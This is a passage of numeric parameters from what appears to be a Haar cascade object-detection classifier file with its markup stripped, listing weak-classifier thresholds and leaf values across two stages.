4.8252159357070923e-01 + <_> + + 0 -1 1172 8.3882332546636462e-04 + + 5.3117001056671143e-01 4.0381389856338501e-01 + <_> + + 0 -1 1173 -1.9061550265178084e-03 + + 3.7707018852233887e-01 5.2600151300430298e-01 + <_> + + 0 -1 1174 8.9514348655939102e-03 + + 4.7661679983139038e-01 7.6821839809417725e-01 + <_> + + 0 -1 1175 1.3083459809422493e-02 + + 5.2644628286361694e-01 3.0622220039367676e-01 + <_> + + 0 -1 1176 -2.1159330010414124e-01 + + 6.7371982336044312e-01 4.6958100795745850e-01 + <_> + + 0 -1 1177 3.1493250280618668e-03 + + 5.6448352336883545e-01 4.3869531154632568e-01 + <_> + + 0 -1 1178 3.9754100725986063e-04 + + 4.5260611176490784e-01 5.8956301212310791e-01 + <_> + + 0 -1 1179 -1.3814480043947697e-03 + + 6.0705822706222534e-01 4.9424138665199280e-01 + <_> + + 0 -1 1180 -5.8122188784182072e-04 + + 5.9982132911682129e-01 4.5082521438598633e-01 + <_> + + 0 -1 1181 -2.3905329871922731e-03 + + 4.2055889964103699e-01 5.2238482236862183e-01 + <_> + + 0 -1 1182 2.7268929407000542e-02 + + 5.2064472436904907e-01 3.5633018612861633e-01 + <_> + + 0 -1 1183 -3.7658358924090862e-03 + + 3.1447041034698486e-01 5.2188140153884888e-01 + <_> + + 0 -1 1184 -1.4903489500284195e-03 + + 3.3801960945129395e-01 5.1244372129440308e-01 + <_> + + 0 -1 1185 -1.7428230494260788e-02 + + 5.8299607038497925e-01 4.9197259545326233e-01 + <_> + + 0 -1 1186 -1.5278030186891556e-02 + + 6.1631447076797485e-01 4.6178871393203735e-01 + <_> + + 0 -1 1187 3.1995609402656555e-02 + + 5.1663571596145630e-01 1.7127640545368195e-01 + <_> + + 0 -1 1188 -3.8256710395216942e-03 + + 3.4080120921134949e-01 5.1313877105712891e-01 + <_> + + 0 -1 1189 -8.5186436772346497e-03 + + 6.1055189371109009e-01 4.9979418516159058e-01 + <_> + + 0 -1 1190 9.0641621500253677e-04 + + 4.3272709846496582e-01 5.5823111534118652e-01 + <_> + + 0 -1 1191 1.0344849899411201e-02 + + 4.8556530475616455e-01 5.4524201154708862e-01 + <_> + 160 + 7.9249076843261719e+01 + + <_> + + 0 -1 1192 7.8981826081871986e-03 + + 3.3325248956680298e-01 5.9464621543884277e-01 + <_> + + 0 -1 1193 1.6170160379260778e-03 + + 3.4906411170959473e-01 5.5778688192367554e-01 + <_> + + 0 -1 1194 -5.5449741194024682e-04 + + 5.5425661802291870e-01 3.2915300130844116e-01 + <_> + + 0 -1 1195 1.5428980113938451e-03 + + 3.6125791072845459e-01 5.5459791421890259e-01 + <_> + + 0 -1 1196 -1.0329450014978647e-03 + + 3.5301390290260315e-01 5.5761402845382690e-01 + <_> + + 0 -1 1197 7.7698158565908670e-04 + + 3.9167788624763489e-01 5.6453210115432739e-01 + <_> + + 0 -1 1198 1.4320300519466400e-01 + + 4.6674820780754089e-01 7.0236331224441528e-01 + <_> + + 0 -1 1199 -7.3866490274667740e-03 + + 3.0736848711967468e-01 5.2892577648162842e-01 + <_> + + 0 -1 1200 -6.2936742324382067e-04 + + 5.6221181154251099e-01 4.0370491147041321e-01 + <_> + + 0 -1 1201 7.8893528552725911e-04 + + 5.2676612138748169e-01 3.5578748583793640e-01 + <_> + + 0 -1 1202 -1.2228050269186497e-02 + + 6.6683208942413330e-01 4.6255499124526978e-01 + <_> + + 0 -1 1203 3.5420239437371492e-03 + + 5.5214381217956543e-01 3.8696730136871338e-01 + <_> + + 0 -1 1204 -1.0585320414975286e-03 + + 3.6286780238151550e-01 5.3209269046783447e-01 + <_> + + 0 -1 1205 1.4935660146875307e-05 + + 4.6324449777603149e-01 5.3633230924606323e-01 + <_> + + 0 -1 1206 5.2537708543241024e-03 + + 5.1322317123413086e-01 3.2657089829444885e-01 + <_> + + 0 -1 1207 -8.2338023930788040e-03 + + 6.6936898231506348e-01 4.7741401195526123e-01 + <_> + + 0 -1 1208 2.1866810129722580e-05 + + 4.0538620948791504e-01 5.4579311609268188e-01 + <_> + + 0 -1 1209 -3.8150229956954718e-03 + + 6.4549958705902100e-01 4.7931781411170959e-01 + <_> + + 0 -1 1210 1.1105879675596952e-03 + + 5.2704071998596191e-01 3.5296788811683655e-01 + <_> + + 0 -1 1211 -5.7707689702510834e-03 + + 3.8035470247268677e-01 5.3529578447341919e-01 + <_> + + 0 -1 1212 -3.0158339068293571e-03 + + 5.3394031524658203e-01 3.8871330022811890e-01 + <_> + + 0 -1 1213 -8.5453689098358154e-04 + + 3.5646161437034607e-01 5.2736037969589233e-01 + <_> + + 0 -1 1214 1.1050510220229626e-02 + + 4.6719071269035339e-01 6.8497377634048462e-01 + <_> + + 0 -1 1215 4.2605839669704437e-02 + + 5.1514732837677002e-01 7.0220090448856354e-02 + <_> + + 0 -1 1216 -3.0781750101596117e-03 + + 3.0416610836982727e-01 5.1526021957397461e-01 + <_> + + 0 -1 1217 -5.4815728217363358e-03 + + 6.4302957057952881e-01 4.8972299695014954e-01 + <_> + + 0 -1 1218 3.1881860923022032e-03 + + 5.3074932098388672e-01 3.8262099027633667e-01 + <_> + + 0 -1 1219 3.5947180003859103e-04 + + 4.6500471234321594e-01 5.4219049215316772e-01 + <_> + + 0 -1 1220 -4.0705031715333462e-03 + + 2.8496798872947693e-01 5.0791162252426147e-01 + <_> + + 0 -1 1221 -1.4594170264899731e-02 + + 2.9716458916664124e-01 5.1284617185592651e-01 + <_> + + 0 -1 1222 -1.1947689927183092e-04 + + 5.6310981512069702e-01 4.3430820107460022e-01 + <_> + + 0 -1 1223 -6.9344649091362953e-04 + + 4.4035780429840088e-01 5.3599590063095093e-01 + <_> + + 0 -1 1224 1.4834799912932795e-05 + + 3.4210088849067688e-01 5.1646977663040161e-01 + <_> + + 0 -1 1225 9.0296985581517220e-03 + + 4.6393430233001709e-01 6.1140751838684082e-01 + <_> + + 0 -1 1226 -8.0640818923711777e-03 + + 2.8201588988304138e-01 5.0754940509796143e-01 + <_> + + 0 -1 1227 2.6062119752168655e-02 + + 5.2089059352874756e-01 2.6887780427932739e-01 + <_> + + 0 -1 1228 1.7314659431576729e-02 + + 4.6637138724327087e-01 6.7385399341583252e-01 + <_> + + 0 -1 1229 2.2666640579700470e-02 + + 5.2093499898910522e-01 2.2127239406108856e-01 + <_> + + 0 -1 1230 -2.1965929772704840e-03 + + 6.0631012916564941e-01 4.5381900668144226e-01 + <_> + + 0 -1 1231 -9.5282476395368576e-03 + + 4.6352049708366394e-01 5.2474308013916016e-01 + <_> + + 0 -1 1232 8.0943619832396507e-03 + + 5.2894401550292969e-01 3.9138820767402649e-01 + <_> + + 0 -1 1233 -7.2877332568168640e-02 + + 7.7520018815994263e-01 4.9902349710464478e-01 + <_> + + 0 -1 1234 -6.9009521976113319e-03 + + 2.4280390143394470e-01 5.0480902194976807e-01 + <_> + + 0 -1 1235 -1.1308239772915840e-02 + + 5.7343649864196777e-01 4.8423761129379272e-01 + <_> + + 0 -1 1236 5.9613201767206192e-02 + + 5.0298362970352173e-01 2.5249770283699036e-01 + <_> + + 0 -1 1237 -2.8624620754271746e-03 + + 6.0730451345443726e-01 4.8984599113464355e-01 + <_> + + 0 -1 1238 4.4781449250876904e-03 + + 5.0152891874313354e-01 2.2203169763088226e-01 + <_> + + 0 -1 1239 -1.7513240454718471e-03 + + 6.6144287586212158e-01 4.9338689446449280e-01 + <_> + + 0 -1 1240 4.0163420140743256e-02 + + 5.1808780431747437e-01 3.7410449981689453e-01 + <_> + + 0 -1 1241 3.4768949262797832e-04 + + 4.7204169631004333e-01 5.8180320262908936e-01 + <_> + + 0 -1 1242 2.6551650371402502e-03 + + 3.8050109148025513e-01 5.2213358879089355e-01 + <_> + + 0 -1 1243 -8.7706279009580612e-03 + + 2.9441660642623901e-01 5.2312952280044556e-01 + <_> + + 0 -1 1244 -5.5122091434895992e-03 + + 7.3461771011352539e-01 4.7228169441223145e-01 + <_> + + 0 -1 1245 6.8672042107209563e-04 + + 5.4528760910034180e-01 4.2424130439758301e-01 + <_> + + 0 -1 1246 5.6019669864326715e-04 + + 4.3988621234893799e-01 5.6012850999832153e-01 + <_> + + 0 -1 1247 2.4143769405782223e-03 + + 4.7416868805885315e-01 6.1366218328475952e-01 + <_> + + 0 -1 1248 -1.5680900542065501e-03 + + 6.0445529222488403e-01 4.5164099335670471e-01 + <_> + + 0 -1 1249 -3.6827491130679846e-03 + + 2.4524590373039246e-01 5.2949821949005127e-01 + <_> + + 0 -1 1250 -2.9409190756268799e-04 + + 3.7328380346298218e-01 5.2514511346817017e-01 + <_> + + 0 -1 1251 4.2847759323194623e-04 + + 5.4988098144531250e-01 4.0655350685119629e-01 + <_> + + 0 -1 1252 -4.8817070201039314e-03 + + 2.1399089694023132e-01 4.9999570846557617e-01 + <_> + + 0 -1 1253 2.7272020815871656e-04 + + 4.6502870321273804e-01 5.8134287595748901e-01 + <_> + + 0 -1 1254 2.0947199664078653e-04 + + 4.3874868750572205e-01 5.5727928876876831e-01 + <_> + + 0 -1 1255 4.8501189798116684e-02 + + 5.2449727058410645e-01 3.2128891348838806e-01 + <_> + + 0 -1 1256 -4.5166411437094212e-03 + + 6.0568130016326904e-01 4.5458820462226868e-01 + <_> + + 0 -1 1257 -1.2291680090129375e-02 + + 2.0409290492534637e-01 5.1522141695022583e-01 + <_> + + 0 -1 1258 4.8549679922871292e-04 + + 5.2376049757003784e-01 3.7395030260086060e-01 + <_> + + 0 -1 1259 3.0556049197912216e-02 + + 4.9605339765548706e-01 5.9382462501525879e-01 + <_> + + 0 -1 1260 -1.5105320198927075e-04 + + 5.3513038158416748e-01 4.1452041268348694e-01 + <_> + + 0 -1 1261 2.4937440175563097e-03 + + 4.6933668851852417e-01 5.5149412155151367e-01 + <_> + + 0 -1 1262 -1.2382130138576031e-02 + + 6.7913967370986938e-01 4.6816679835319519e-01 + <_> + + 0 -1 1263 -5.1333461888134480e-03 + + 3.6087390780448914e-01 5.2291601896286011e-01 + <_> + + 0 -1 1264 5.1919277757406235e-04 + + 5.3000730276107788e-01 3.6336138844490051e-01 + <_> + + 0 -1 1265 1.5060420334339142e-01 + + 5.1573169231414795e-01 2.2117820382118225e-01 + <_> + + 0 -1 1266 7.7144149690866470e-03 + + 4.4104969501495361e-01 5.7766091823577881e-01 + <_> + + 0 -1 1267 9.4443522393703461e-03 + + 5.4018551111221313e-01 3.7566500902175903e-01 + <_> + + 0 -1 1268 2.5006249779835343e-04 + + 4.3682709336280823e-01 5.6073749065399170e-01 + <_> + + 0 -1 1269 -3.3077150583267212e-03 + + 4.2447990179061890e-01 5.5182307958602905e-01 + <_> + + 0 -1 1270 7.4048910755664110e-04 + + 4.4969621300697327e-01 5.9005767107009888e-01 + <_> + + 0 -1 1271 4.4092051684856415e-02 + + 5.2934932708740234e-01 3.1563550233840942e-01 + <_> + + 0 -1 1272 3.3639909233897924e-03 + + 4.4832968711853027e-01 5.8486622571945190e-01 + <_> + + 0 -1 1273 -3.9760079234838486e-03 + + 4.5595070719718933e-01 5.4836392402648926e-01 + <_> + + 0 -1 1274 2.7716930489987135e-03 + + 5.3417861461639404e-01 3.7924841046333313e-01 + <_> + + 0 -1 1275 -2.4123019829858094e-04 + + 5.6671887636184692e-01 4.5769730210304260e-01 + <_> + + 0 -1 1276 4.9425667384639382e-04 + + 4.4212448596954346e-01 5.6287872791290283e-01 + <_> + + 0 -1 1277 -3.8876468897797167e-04 + + 4.2883709073066711e-01 5.3910630941390991e-01 + <_> + + 0 -1 1278 -5.0048898905515671e-02 + + 6.8995130062103271e-01 4.7037428617477417e-01 + <_> + + 0 -1 1279 -3.6635480821132660e-02 + + 2.2177790105342865e-01 5.1918262243270874e-01 + <_> + + 0 -1 1280 2.4273579474538565e-03 + + 5.1362240314483643e-01 3.4973978996276855e-01 + <_> + + 0 -1 1281 1.9558030180633068e-03 + + 4.8261928558349609e-01 6.4083808660507202e-01 + <_> + + 0 -1 1282 -1.7494610510766506e-03 + + 3.9228358864784241e-01 5.2726852893829346e-01 + <_> + + 0 -1 1283 1.3955079950392246e-02 + + 5.0782018899917603e-01 8.4165048599243164e-01 + <_> + + 0 -1 1284 -2.1896739781368524e-04 + + 5.5204898118972778e-01 4.3142348527908325e-01 + <_> + + 0 -1 1285 -1.5131309628486633e-03 + + 3.9346051216125488e-01 5.3825712203979492e-01 + <_> + + 0 -1 1286 -4.3622800149023533e-03 + + 7.3706287145614624e-01 4.7364759445190430e-01 + <_> + + 0 -1 1287 6.5160587430000305e-02 + + 5.1592797040939331e-01 3.2815951108932495e-01 + <_> + + 0 -1 1288 -2.3567399475723505e-03 + + 3.6728268861770630e-01 5.1728862524032593e-01 + <_> + + 0 -1 1289 1.5146659687161446e-02 + + 5.0314939022064209e-01 6.6876041889190674e-01 + <_> + + 0 -1 1290 -2.2850960493087769e-02 + + 6.7675197124481201e-01 4.7095969319343567e-01 + <_> + + 0 -1 1291 4.8867650330066681e-03 + + 5.2579981088638306e-01 4.0598788857460022e-01 + <_> + + 0 -1 1292 1.7619599821045995e-03 + + 4.6962729096412659e-01 6.6882789134979248e-01 + <_> + + 0 -1 1293 -1.2942519970238209e-03 + + 4.3207129836082458e-01 5.3442817926406860e-01 + <_> + + 0 -1 1294 1.0929949581623077e-02 + + 4.9977061152458191e-01 1.6374860703945160e-01 + <_> + + 0 -1 1295 2.9958489903947338e-05 + + 4.2824178934097290e-01 5.6332242488861084e-01 + <_> + + 0 -1 1296 -6.5884361974895000e-03 + + 6.7721211910247803e-01 4.7005268931388855e-01 + <_> + + 0 -1 1297 3.2527779694646597e-03 + + 5.3133970499038696e-01 4.5361489057540894e-01 + <_> + + 0 -1 1298 -4.0435739792883396e-03 + + 5.6600618362426758e-01 4.4133889675140381e-01 + <_> + + 0 -1 1299 -1.2523540062829852e-03 + + 3.7319138646125793e-01 5.3564518690109253e-01 + <_> + + 0 -1 1300 1.9246719602961093e-04 + + 5.1899862289428711e-01 3.7388110160827637e-01 + <_> + + 0 -1 1301 -3.8589671254158020e-02 + + 2.9563739895820618e-01 5.1888108253479004e-01 + <_> + + 0 -1 1302 1.5489870565943420e-04 + + 4.3471351265907288e-01 5.5095332860946655e-01 + <_> + + 0 -1 1303 -3.3763848245143890e-02 + + 3.2303300499916077e-01 5.1954758167266846e-01 + <_> + + 0 -1 1304 -8.2657067105174065e-03 + + 5.9754890203475952e-01 4.5521140098571777e-01 + <_> + + 0 -1 1305 1.4481440302915871e-05 + + 4.7456780076026917e-01 5.4974269866943359e-01 + <_> + + 0 -1 1306 1.4951299817766994e-05 + + 4.3244731426239014e-01 5.4806441068649292e-01 + <_> + + 0 -1 1307 -1.8741799518465996e-02 + + 1.5800529718399048e-01 5.1785331964492798e-01 + <_> + + 0 -1 1308 1.7572239739820361e-03 + + 4.5176368951797485e-01 5.7737642526626587e-01 + <_> + + 0 -1 1309 -3.1391119118779898e-03 + + 4.1496479511260986e-01 5.4608422517776489e-01 + <_> + + 0 -1 1310 6.6656779381446540e-05 + + 4.0390908718109131e-01 5.2930849790573120e-01 + <_> + + 0 -1 1311 6.7743421532213688e-03 + + 4.7676518559455872e-01 6.1219561100006104e-01 + <_> + + 0 -1 1312 -7.3868161998689175e-03 + + 3.5862588882446289e-01 5.1872807741165161e-01 + <_> + + 0 -1 1313 1.4040930196642876e-02 + + 4.7121399641036987e-01 5.5761557817459106e-01 + <_> + + 0 -1 1314 -5.5258329957723618e-03 + + 2.6610270142555237e-01 5.0392812490463257e-01 + <_> + + 0 -1 1315 3.8684239983558655e-01 + + 5.1443397998809814e-01 2.5258991122245789e-01 + <_> + + 0 -1 1316 1.1459240340627730e-04 + + 4.2849949002265930e-01 5.4233711957931519e-01 + <_> + + 0 -1 1317 -1.8467569723725319e-02 + + 3.8858351111412048e-01 5.2130621671676636e-01 + <_> + + 0 -1 1318 -4.5907011372037232e-04 + + 5.4125630855560303e-01 4.2359098792076111e-01 + <_> + + 0 -1 1319 1.2527540093287826e-03 + + 4.8993051052093506e-01 6.6240912675857544e-01 + <_> + + 0 -1 1320 1.4910609461367130e-03 + + 5.2867782115936279e-01 4.0400519967079163e-01 + <_> + + 0 -1 1321 -7.5435562757775187e-04 + + 6.0329902172088623e-01 4.7951200604438782e-01 + <_> + + 0 -1 1322 -6.9478838704526424e-03 + + 4.0844011306762695e-01 5.3735041618347168e-01 + <_> + + 0 -1 1323 2.8092920547351241e-04 + + 4.8460629582405090e-01 5.7593822479248047e-01 + <_> + + 0 -1 1324 9.6073717577382922e-04 + + 5.1647412776947021e-01 3.5549798607826233e-01 + <_> + + 0 -1 1325 -2.6883929967880249e-04 + + 5.6775820255279541e-01 4.7317659854888916e-01 + <_> + + 0 -1 1326 2.1599370520561934e-03 + + 4.7314870357513428e-01 7.0705670118331909e-01 + <_> + + 0 -1 1327 5.6235301308333874e-03 + + 5.2402430772781372e-01 2.7817919850349426e-01 + <_> + + 0 -1 1328 -5.0243991427123547e-03 + + 2.8370139002799988e-01 5.0623041391372681e-01 + <_> + + 0 -1 1329 -9.7611639648675919e-03 + + 7.4007177352905273e-01 4.9345690011978149e-01 + <_> + + 0 -1 1330 4.1515100747346878e-03 + + 5.1191312074661255e-01 3.4070080518722534e-01 + <_> + + 0 -1 1331 6.2465080991387367e-03 + + 4.9237880110740662e-01 6.5790587663650513e-01 + <_> + + 0 -1 1332 -7.0597478188574314e-03 + + 2.4347110092639923e-01 5.0328421592712402e-01 + <_> + + 0 -1 1333 -2.0587709732353687e-03 + + 5.9003108739852905e-01 4.6950870752334595e-01 + <_> + + 0 -1 1334 -2.4146060459315777e-03 + + 3.6473178863525391e-01 5.1892018318176270e-01 + <_> + + 0 -1 1335 -1.4817609917372465e-03 + + 6.0349482297897339e-01 4.9401280283927917e-01 + <_> + + 0 -1 1336 -6.3016400672495365e-03 + + 5.8189898729324341e-01 4.5604279637336731e-01 + <_> + + 0 -1 1337 3.4763428848236799e-03 + + 5.2174758911132812e-01 3.4839931130409241e-01 + <_> + + 0 -1 1338 -2.2250870242714882e-02 + + 2.3607000708580017e-01 5.0320827960968018e-01 + <_> + + 0 -1 1339 -3.0612550675868988e-02 + + 6.4991867542266846e-01 4.9149191379547119e-01 + <_> + + 0 -1 1340 1.3057479634881020e-02 + + 4.4133231043815613e-01 5.6837642192840576e-01 + <_> + + 0 -1 1341 -6.0095742810517550e-04 + + 4.3597310781478882e-01 5.3334832191467285e-01 + <_> + + 0 -1 1342 -4.1514250915497541e-04 + + 5.5040627717971802e-01 4.3260601162910461e-01 + <_> + + 0 -1 1343 -1.3776290230453014e-02 + + 4.0641129016876221e-01 5.2015489339828491e-01 + <_> + + 0 -1 1344 -3.2296508550643921e-02 + + 4.7351971268653870e-02 4.9771949648857117e-01 + <_> + + 0 -1 1345 5.3556978702545166e-02 + + 4.8817330598831177e-01 6.6669392585754395e-01 + <_> + + 0 -1 1346 8.1889545544981956e-03 + + 5.4000371694564819e-01 4.2408201098442078e-01 + <_> + + 0 -1 1347 2.1055320394225419e-04 + + 4.8020479083061218e-01 5.5638527870178223e-01 + <_> + + 0 -1 1348 -2.4382730480283499e-03 + + 7.3877930641174316e-01 4.7736850380897522e-01 + <_> + + 0 -1 1349 3.2835570164024830e-03 + + 5.2885460853576660e-01 3.1712919473648071e-01 + <_> + + 0 -1 1350 2.3729570675641298e-03 + + 4.7508129477500916e-01 7.0601707696914673e-01 + <_> + + 0 -1 1351 -1.4541699783876538e-03 + + 3.8117301464080811e-01 5.3307390213012695e-01 + <_> + 177 + 8.7696029663085938e+01 + + <_> + + 0 -1 1352 5.5755238980054855e-02 + + 4.0191569924354553e-01 6.8060368299484253e-01 + <_> + + 0 -1 1353 2.4730248842388391e-03 + + 3.3511489629745483e-01 5.9657198190689087e-01 + <_> + + 0 -1 1354 -3.5031698644161224e-04 + + 5.5577081441879272e-01 3.4822869300842285e-01 + <_> + + 0 -1 1355 5.4167630150914192e-04 + + 4.2608588933944702e-01 5.6933808326721191e-01 + <_> + + 0 -1 1356 7.7193678589537740e-04 + + 3.4942400455474854e-01 5.4336887598037720e-01 + <_> + + 0 -1 1357 -1.5999219613149762e-03 + + 4.0284991264343262e-01 5.4843592643737793e-01 + <_> + + 0 -1 1358 -1.1832080053864047e-04 + + 3.8069018721580505e-01 5.4254651069641113e-01 + <_> + + 0 -1 1359 3.2909031142480671e-04 + + 2.6201000809669495e-01 5.4295217990875244e-01 + <_> + + 0 -1 1360 2.9518108931370080e-04 + + 3.7997689843177795e-01 5.3992640972137451e-01 + <_> + + 0 -1 1361 9.0466710389591753e-05 + + 4.4336450099945068e-01 5.4402261972427368e-01 + <_> + + 0 -1 1362 1.5007190086180344e-05 + + 3.7196549773216248e-01 5.4091197252273560e-01 + <_> + + 0 -1 1363 1.3935610651969910e-01 + + 5.5253958702087402e-01 4.4790428876876831e-01 + <_> + + 0 -1 1364 1.6461990308016539e-03 + + 4.2645010352134705e-01 5.7721698284149170e-01 + <_> + + 0 -1 1365 4.9984431825578213e-04 + + 4.3595260381698608e-01 5.6858712434768677e-01 + <_> + + 0 -1 1366 -1.0971280280500650e-03 + + 3.3901369571685791e-01 5.2054089307785034e-01 + <_> + + 0 -1 1367 6.6919892560690641e-04 + + 4.5574560761451721e-01 5.9806597232818604e-01 + <_> + + 0 -1 1368 8.6471042595803738e-04 + + 5.1348412036895752e-01 2.9440331459045410e-01 + <_> + + 0 -1 1369 -2.7182599296793342e-04 + + 3.9065781235694885e-01 5.3771811723709106e-01 + <_> + + 0 -1 1370 3.0249499104684219e-05 + + 3.6796098947525024e-01 5.2256888151168823e-01 + <_> + + 0 -1 1371 -8.5225896909832954e-03 + + 7.2931021451950073e-01 4.8923650383949280e-01 + <_> + + 0 -1 1372 1.6705560265108943e-03 + + 4.3453249335289001e-01 5.6961381435394287e-01 + <_> + + 0 -1 1373 -7.1433838456869125e-03 + + 2.5912800431251526e-01 5.2256238460540771e-01 + <_> + + 0 -1 1374 -1.6319369897246361e-02 + + 6.9222790002822876e-01 4.6515759825706482e-01 + <_> + + 0 -1 1375 4.8034260980784893e-03 + + 5.3522628545761108e-01 3.2863029837608337e-01 + <_> + + 0 -1 1376 -7.5421929359436035e-03 + + 2.0405440032482147e-01 5.0345462560653687e-01 + <_> + + 0 -1 1377 -1.4363110065460205e-02 + + 6.8048888444900513e-01 4.8890590667724609e-01 + <_> + + 0 -1 1378 8.9063588529825211e-04 + + 5.3106957674026489e-01 3.8954809308052063e-01 + <_> + + 0 -1 1379 -4.4060191139578819e-03 + + 5.7415628433227539e-01 4.3724268674850464e-01 + <_> + + 0 -1 1380 -1.8862540309783071e-04 + + 2.8317859768867493e-01 5.0982052087783813e-01 + <_> + + 0 -1 1381 -3.7979281041771173e-03 + + 3.3725079894065857e-01 5.2465802431106567e-01 + <_> + + 0 -1 1382 1.4627049677073956e-04 + + 5.3066742420196533e-01 3.9117100834846497e-01 + <_> + + 0 -1 1383 -4.9164638767251745e-05 + + 5.4624962806701660e-01 3.9427208900451660e-01 + <_> + + 0 -1 1384 -3.3582501113414764e-02 + + 2.1578240394592285e-01 5.0482118129730225e-01 + <_> + + 0 -1 1385 -3.5339309833943844e-03 + + 6.4653122425079346e-01 4.8726969957351685e-01 + <_> + + 0 -1 1386 5.0144111737608910e-03 + + 4.6176680922508240e-01 6.2480747699737549e-01 + <_> + + 0 -1 1387 1.8817370757460594e-02 + + 5.2206891775131226e-01 2.0000520348548889e-01 + <_> + + 0 -1 1388 -1.3434339780360460e-03 + + 4.0145379304885864e-01 5.3016197681427002e-01 + <_> + + 0 -1 1389 1.7557960236445069e-03 + + 4.7940391302108765e-01 5.6531697511672974e-01 + <_> + + 0 -1 1390 -9.5637463033199310e-02 + + 2.0341950654983521e-01 5.0067067146301270e-01 + <_> + + 0 -1 1391 -2.2241229191422462e-02 + + 7.6724731922149658e-01 5.0463402271270752e-01 + <_> + + 0 -1 1392 -1.5575819648802280e-02 + + 7.4903422594070435e-01 4.7558510303497314e-01 + <_> + + 0 -1 1393 5.3599118255078793e-03 + + 5.3653037548065186e-01 4.0046709775924683e-01 + <_> + + 0 -1 1394 -2.1763499826192856e-02 + + 7.4015498161315918e-02 4.9641749262809753e-01 + <_> + + 0 -1 1395 -1.6561590135097504e-01 + + 2.8591030836105347e-01 5.2180862426757812e-01 + <_> + + 0 -1 1396 1.6461320046801120e-04 + + 4.1916158795356750e-01 5.3807932138442993e-01 + <_> + + 0 -1 1397 -8.9077502489089966e-03 + + 6.2731927633285522e-01 4.8774048686027527e-01 + <_> + + 0 -1 1398 8.6346449097618461e-04 + + 5.1599407196044922e-01 3.6710259318351746e-01 + <_> + + 0 -1 1399 -1.3751760125160217e-03 + + 5.8843767642974854e-01 4.5790839195251465e-01 + <_> + + 0 -1 1400 -1.4081239933148026e-03 + + 3.5605099797248840e-01 5.1399451494216919e-01 + <_> + + 0 -1 1401 -3.9342888630926609e-03 + + 5.9942889213562012e-01 4.6642720699310303e-01 + <_> + + 0 -1 1402 -3.1966928392648697e-02 + + 3.3454620838165283e-01 5.1441830396652222e-01 + <_> + + 0 -1 1403 -1.5089280168467667e-05 + + 5.5826562643051147e-01 4.4140571355819702e-01 + <_> + + 0 -1 1404 5.1994470413774252e-04 + + 4.6236801147460938e-01 6.1689937114715576e-01 + <_> + + 0 -1 1405 -3.4220460802316666e-03 + + 6.5570747852325439e-01 4.9748051166534424e-01 + <_> + + 0 -1 1406 1.7723299970384687e-04 + + 5.2695018053054810e-01 3.9019080996513367e-01 + <_> + + 0 -1 1407 1.5716759953647852e-03 + + 4.6333730220794678e-01 5.7904577255249023e-01 + <_> + + 0 -1 1408 -8.9041329920291901e-03 + + 2.6896080374717712e-01 5.0535911321640015e-01 + <_> + + 0 -1 1409 4.0677518700249493e-04 + + 5.4566031694412231e-01 4.3298989534378052e-01 + <_> + + 0 -1 1410 6.7604780197143555e-03 + + 4.6489939093589783e-01 6.6897618770599365e-01 + <_> + + 0 -1 1411 2.9100088868290186e-03 + + 5.3097039461135864e-01 3.3778399229049683e-01 + <_> + + 0 -1 1412 1.3885459629818797e-03 + + 4.0747389197349548e-01 5.3491330146789551e-01 + <_> + + 0 -1 1413 -7.6764263212680817e-02 + + 1.9921760261058807e-01 5.2282422780990601e-01 + <_> + + 0 -1 1414 -2.2688310127705336e-04 + + 5.4385018348693848e-01 4.2530721426010132e-01 + <_> + + 0 -1 1415 -6.3094152137637138e-03 + + 4.2591789364814758e-01 5.3789097070693970e-01 + <_> + + 0 -1 1416 -1.1007279902696609e-01 + + 6.9041568040847778e-01 4.7217491269111633e-01 + <_> + + 0 -1 1417 2.8619659133255482e-04 + + 4.5249149203300476e-01 5.5483061075210571e-01 + <_> + + 0 -1 1418 2.9425329557852820e-05 + + 5.3703737258911133e-01 4.2364639043807983e-01 + <_> + + 0 -1 1419 -2.4886570870876312e-02 + + 6.4235579967498779e-01 4.9693039059638977e-01 + <_> + + 0 -1 1420 3.3148851245641708e-02 + + 4.9884751439094543e-01 1.6138119995594025e-01 + <_> + + 0 -1 1421 7.8491691965609789e-04 + + 5.4160261154174805e-01 4.2230090498924255e-01 + <_> + + 0 -1 1422 4.7087189741432667e-03 + + 4.5763289928436279e-01 6.0275578498840332e-01 + <_> + + 0 -1 1423 2.4144479539245367e-03 + + 5.3089731931686401e-01 4.4224989414215088e-01 + <_> + + 0 -1 1424 1.9523180089890957e-03 + + 4.7056341171264648e-01 6.6633248329162598e-01 + <_> + + 0 -1 1425 1.3031980488449335e-03 + + 4.4061261415481567e-01 5.5269622802734375e-01 + <_> + + 0 -1 1426 4.4735497795045376e-03 + + 5.1290237903594971e-01 3.3014988899230957e-01 + <_> + + 0 -1 1427 -2.6652868837118149e-03 + + 3.1354710459709167e-01 5.1750361919403076e-01 + <_> + + 0 -1 1428 1.3666770246345550e-04 + + 4.1193708777427673e-01 5.3068768978118896e-01 + <_> + + 0 -1 1429 -1.7126450315117836e-02 + + 6.1778062582015991e-01 4.8365789651870728e-01 + <_> + + 0 -1 1430 -2.6601430727168918e-04 + + 3.6543309688568115e-01 5.1697367429733276e-01 + <_> + + 0 -1 1431 -2.2932380437850952e-02 + + 3.4909150004386902e-01 5.1639920473098755e-01 + <_> + + 0 -1 1432 2.3316550068557262e-03 + + 5.1662999391555786e-01 3.7093898653984070e-01 + <_> + + 0 -1 1433 1.6925660893321037e-02 + + 5.0147360563278198e-01 8.0539882183074951e-01 + <_> + + 0 -1 1434 -8.9858826249837875e-03 + + 6.4707887172698975e-01 4.6570208668708801e-01 + <_> + + 0 -1 1435 -1.1874699965119362e-02 + + 3.2463788986206055e-01 5.2587550878524780e-01 + <_> + + 0 -1 1436 1.9350569345988333e-04 + + 5.1919418573379517e-01 3.8396438956260681e-01 + <_> + + 0 -1 1437 5.8713490143418312e-03 + + 4.9181339144706726e-01 6.1870431900024414e-01 + <_> + + 0 -1 1438 -2.4838790297508240e-01 + + 1.8368029594421387e-01 4.9881500005722046e-01 + <_> + + 0 -1 1439 1.2256000190973282e-02 + + 5.2270537614822388e-01 3.6320298910140991e-01 + <_> + + 0 -1 1440 8.3990179700776935e-04 + + 4.4902500510215759e-01 5.7741481065750122e-01 + <_> + + 0 -1 1441 2.5407369248569012e-03 + + 4.8047870397567749e-01 5.8582991361618042e-01 + <_> + + 0 -1 1442 -1.4822429977357388e-02 + + 2.5210499763488770e-01 5.0235372781753540e-01 + <_> + + 0 -1 1443 -5.7973959483206272e-03 + + 5.9966957569122314e-01 4.8537150025367737e-01 + <_> + + 0 -1 1444 7.2662148158997297e-04 + + 5.1537168025970459e-01 3.6717799305915833e-01 + <_> + + 0 -1 1445 -1.7232580110430717e-02 + + 6.6217190027236938e-01 4.9946561455726624e-01 + <_> + + 0 